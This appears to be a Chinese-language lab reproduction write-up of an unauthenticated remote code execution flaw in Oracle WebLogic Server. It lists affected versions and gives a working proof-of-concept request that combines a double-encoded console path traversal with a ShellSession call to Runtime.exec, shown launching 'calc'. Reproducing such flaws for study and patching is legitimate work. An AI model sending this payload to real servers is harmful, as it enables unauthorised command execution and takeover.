0x01 简介
Weblogic是美国Oracle公司出品的一个Application Server，确切的说是一个基于JavaEE架构的中间件，Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
0x02 漏洞描述
未经身份验证的远程攻击者可能通过构造特殊的GET请求，利用该漏洞在受影响的 Weblogic Server上执行任意代码。
影响版本
- weblogic 10.3.6.0.0
- weblogic 12.1.3.0.0
- weblogic 12.2.1.3.0
- weblogic 12.2.1.4.0
- weblogic 14.1.1.0.0
0x03 环境搭建
请参考https://www.cnblogs.com/KHZ521/p/14053395.html
0x04 漏洞复现
POC：
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27执行的命令%27);%22);
1.查看服务器weblogic的版本 （这里用的是CVE-2020-14645weblogic漏洞探测工具）https://github.com/DSO-Lab/defvul
2.随便请求并抓包
3.使用poc进行测试
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc%27);%22);
4.复现成功
0x05 结束语
这个地方有点小问题，测试poc的时候相应包的响应结果很慢，并且服务器端打开了十几个窗口，我也不知道是为啥，反正复现成功了